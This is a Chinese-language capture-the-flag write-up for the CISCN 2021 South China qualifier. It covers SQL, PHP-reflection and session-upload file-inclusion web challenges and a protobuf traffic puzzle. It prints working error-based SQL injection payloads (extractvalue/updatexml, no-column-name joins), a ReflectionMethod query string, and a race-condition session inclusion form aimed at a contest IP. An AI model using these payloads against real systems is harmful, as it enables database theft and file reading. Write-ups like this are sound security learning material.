ciscn2021华南赛区预赛 WEB easy_sql 报错注入,uname输入'
爆出sql语句含()
,
1 2 uname=asd')or(extractvalue(1,concat(0x7e,database())))#&passwd=123&Submit=%E7%99 %BB%E5%BD%95
爆出数据库名security
查表时发现information及其替代方法被ban,在不存在表格的时候会有报错,靠猜,经典 flag 表。 无列名注入爆出第一个字段 id 跟第二个字段 no ,最后去爆flag字段名。
1 2 uname=asd')or(extractvalue(1,concat(0x7e,(select * from(select * from flag a join (select * from flag)b using(id,no))c))))#&passwd=123&Submit=%E7%99%BB%E5%BD%95
读取flag
1 2 uname=')or(updatexml(1,concat(0x7e,mid((select group_concat(`flag字段名`) from flag),25,16),0x7e),1))#&passwd=123&Submit=%E7%99%BB%E5%BD%95
easy_source 题目提示可能是文件备份,有个.index.php.swo,看到源码,发现为原题,flag藏在某个function注释下,可以利用php反射进行构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 本题目没有其他代码了噢,就只有这一个文件,虽然你看到的不完全,但是你觉得我会把flag藏在哪里呢,仔 细想想文件里面还有什么? <?php class User { private static $c = 0; function a() { return ++self::$c; } function b() { return ++self::$c; } function c() { return ++self::$c; } function d() { return ++self::$c; } function e() { return ++self::$c; } function f() { return ++self::$c; } function g() { return ++self::$c; } function h() { return ++self::$c; } function i() { return ++self::$c; } function j() { return ++self::$c; } function k() { return ++self::$c; } function l() { return ++self::$c; } function m() { return ++self::$c; } function n() { return ++self::$c; } function o() { 抓包对rb进行爆破a-z return ++self::$c; } function p() { return ++self::$c; } function q() { return ++self::$c; } function r() { return ++self::$c; } function s() { return ++self::$c; } function t() { return ++self::$c; } } $rc=$_GET["rc"]; $rb=$_GET["rb"]; $ra=$_GET["ra"]; $rd=$_GET["rd"]; $method= new $rc($ra, $rb); var_dump($method->$rd());
1 ?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
条件竞争,抓包对rb进行爆破a-z
middle_source 伪协议无果,扫目录发现有个 .listing ,提示有个phpinfo文件
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含。我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/path/sess_flag”。即使此时用户没有初始化Session,PHP也会自动初 始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的 session.upload_progress.name值组成,最后被写入sess_flag文件里。然后包含这个session文件,上传与包含同时进行,条件竞争。查看phpinfo,得知session文件存放目录。
写个请求上传表单
1 2 3 4 5 6 7 8 9 10 <html > <body > <form action ="http://114.116.246.116:22803" method ="POST" enctype ="multipart/form-data" > <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="11" /> <input type ="file" name ="flie" /> <input type ="submit" value ="submit" /> </form > </body > </html >
文件随便传,主要是提交 PHP_SESSION_UPLOAD_PROGRESS 的值。抓包修改, 构造Cookie ,根据信息提示、读取etc目录,system被ban了,读取phpinfo(): diable_function 知道被ban函数,还有scandir()可以用。
同时抓取题目访问session文件的包,(根据phpinfo得知的session文件存储路径去访问这个文件)
同时进行爆破。一层一层得知目录,最后readfile
读取flag
misc tiny traffic 过滤了http后观看,有个flag_wrapper,没啥用,全部导出后观看,很多无用的。有个secret,test,看名字就很可疑,惯例丢到010也没看出啥。怀疑是一压缩文件,百度得知有种br压缩算法,BR 文件是用Brotli压缩的文件,用Google官方提供的Brotli.exe就可以直接转换成dat文件,得出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 syntax = "proto3"; message PBResponse { int32 code = 1; int64 flag_part_convert_to_hex_plz = 2; message data { string junk_data = 2; string flag_part = 1; } repeated data dataList = 3; int32 flag_part_plz_convert_to_hex = 4; string flag_last_part = 5; } message PBRequest { string cate_id = 1; int32 page = 2; int32 pageSize = 3; }
将解压得出的test后缀改为proto,配合secret使用protoc解密得出
1 2 3 4 5 6 7 8 9 10 11 f1ag_part_convert_to_hex_p1z: 15100450 /////toHex:e66a22 dataList { f1ag_ part: "e2345" junk_ data: "7af2c' } dataList { flag_ part: "7889b0" junk_ data: "82bc0" } flag_ part_ p1z_ convert_to_hex: 16453958 /////toHex:fb1146 flag_last_ part: "d172a38dc"
根据数据名称,将对应的数据转换成16进制,然后将所以数据按顺序拼接得出flag